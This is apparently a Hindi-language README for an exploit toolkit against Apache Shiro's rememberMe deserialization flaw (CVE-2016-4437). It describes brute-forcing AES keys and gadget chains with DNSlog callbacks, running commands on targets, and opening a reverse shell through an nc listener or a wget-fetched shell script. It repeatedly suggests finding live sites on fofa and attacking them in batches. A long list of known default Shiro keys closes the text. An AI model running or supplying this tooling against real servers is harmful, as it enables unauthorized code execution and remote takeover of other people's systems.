
CVE-2016-4437-Shiro डिसीरियलाइज़ेशन ब्रूट फ़ोर्स मॉड्यूल और key, कमांड निष्पादन, रिवर्स शेल स्क्रिप्ट
CVE-2016-4437 Shiro<=1.2.4 डिसीरियलाइज़ेशन, ब्रूटफ़ोर्स मॉड्यूल और कुंजी, कोड निष्पादन, रिवर्स शेल के लिए उपकरण
क्योंकि shiro कुकी में rememberme फ़ील्ड को डिसीरियलाइज़ करता है, यदि shiro की एन्कोडिंग विधि ज्ञात है, तो दुर्भावनापूर्ण कमांड को उसकी एन्कोडिंग विधि का उपयोग करके एन्कोड किया जा सकता है और HTTP हेडर की कुकी में रखा जा सकता है। जब shiro प्रस्तुत कुकी के rememberme फ़ील्ड को डिसीरियलाइज़ करता है, तो डाला गया कमांड निष्पादित हो जाता है, जिसके परिणामस्वरूप कमांड निष्पादन होता है।
shiro डिफ़ॉल्ट रूप से CookieRememberMeManager का उपयोग करता है, और कुकी को संभालने की प्रक्रिया है:
rememberMe कुकी मान प्राप्त करें-->Base64 डिकोड-->AES डिक्रिप्ट-->डिसीरियलाइज़ करें
linux/win10 दोनों ही काम करते हैं
python2/python3 दोनों ही काम करते हैं
चूंकि मॉड्यूल के अंतर्गत ysoserial.jar है, इसलिए प्रोजेक्ट थोड़ा बड़ा है, कृपया सहन करें।
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
http://dnslog.cn/ के साथ संयोजन की आवश्यकता है।
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
सफल होने पर रिकॉर्ड देखें - रिकॉर्ड का प्रारूप {{key}}.{{module}}.dnslogurl है।
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
ज्ञात होता है कि सफल कुंजी U3ByaW5nQmxhZGUAAAAAAA== है, और मॉड्यूल CommonsBeanutils1 है।
क्योंकि कुंजी में ==/+ आदि प्रतीक शामिल हैं, यह प्रोजेक्ट उन्हें थोड़ा एस्केप करेगा। कृपया स्वयं परिशिष्ट 1 की कुंजियों से तुलना करें।
fofa पर एक ढूंढकर खेलें।

वास्तव में, ऑनलाइन कई उपकरण हैं जो मॉड्यूल और कुंजियों को ब्रूटफ़ोर्स करते हैं, लेकिन सफल ब्रूटफ़ोर्स के बाद, आमतौर पर केवल यह पता चलता है कि यह काम करता है, मॉड्यूल और कुंजी क्या है यह नहीं पता चलता, क्योंकि बिना आउटपुट वाले rce के लिए, चाहे वह काम करे या न करे, प्रतिक्रिया कोड 200 होता है। यह प्रोजेक्ट मॉड्यूल और कुंजी को ब्रूटफ़ोर्स करके और dnslog के साथ संयोजित करके अप्रत्यक्ष रूप से सफल कुंजी और मॉड्यूल प्राप्त करता है, सिद्धांत DNSlog के आंतरिक अर्थ पर आधारित है, अर्थात DNS रिज़ॉल्यूशन के दौरान लॉग छोड़ता है, और मल्टी-लेवल डोमेन नाम रिज़ॉल्यूशन लॉग को पढ़कर अनुरोध जानकारी प्राप्त करता है।
http://dnslog.cn/ के साथ संयोजन किया जा सकता है।
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
dnslog पर ping rcetest.x9zm4v.dnslog.cn देखें। अंतर करने के लिए, एक स्तर नीचे के डोमेन का उपयोग करने का सुझाव दिया जाता है।
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
इसमें 'CommonsBeanutils1' को ब्रूटफ़ोर्स में सफल मॉड्यूल से बदलें।key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
इसे ब्रूटफ़ोर्स में सफल कुंजी से बदलें।
fofa पर एक ढूंढकर खेलें।

nc -lvnp 7777
python3 shiro_exp.py -u {{हमला किया जाने वाला लक्ष्य}} -lh {{रिवर्स शेल का आईपी}} -lp {{रिवर्स शेल का पोर्ट}}
सुरक्षा के लिए, स्थानीय रूप से ही प्रयोग करें। सिद्धांत यह है कि JRMPListener और पेलोड को एक साथ पैक कर दिया जाता है, वास्तव में, jrmplistener का उपयोग करना आवश्यक नहीं है।

एक छोटा सा विचार
चूंकि नेटवर्क तक पहुंच है, तो सीधे shiro_rec का उपयोग करके bash रिवर्स शेल क्यों नहीं आज़माया जाए?
कुछ बार प्रयास करने पर विफलता मिली, मुझे लगता है कि shiro में कुछ फ़िल्टर है, लेकिन मैंने पाया कि पहले wget के माध्यम से एक रिवर्स शेल sh स्क्रिप्ट डाउनलोड की जा सकती है, और फिर sh के साथ निष्पादित किया जा सकता है।
संदर्भ: jrmplistener के बिना रिवर्स शेल पर मेरा छोटा सा शोध
अनुरोध हेडर और प्रतिक्रिया हेडर के आधार पर एक सरल परीक्षण - shiro वाली वेबसाइटों को shiro.txt में डालें।
पहले fuzz-shiro से shiro वाली साइटों की सूची shiro.txt प्राप्त करने का सुझाव दिया जाता है, फिर बैच में आक्रमण करें।
dnsLog रिकॉर्ड होगा:
{{key}}.{{मॉड्यूल}}.{{url}}.dnsurl
व्यक्तिगत रूप से परीक्षण किया गया, यह काफी अच्छा काम करता है।
निम्नलिखित कमांड चलाएँ:
pip uninstall crypto pycryptodome
pip install pycryptodome
python इंस्टॉलेशन निर्देशिका के अंतर्गत \Lib\site-packages, crypto फ़ोल्डर का नाम बदलकर Crypto करें।
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==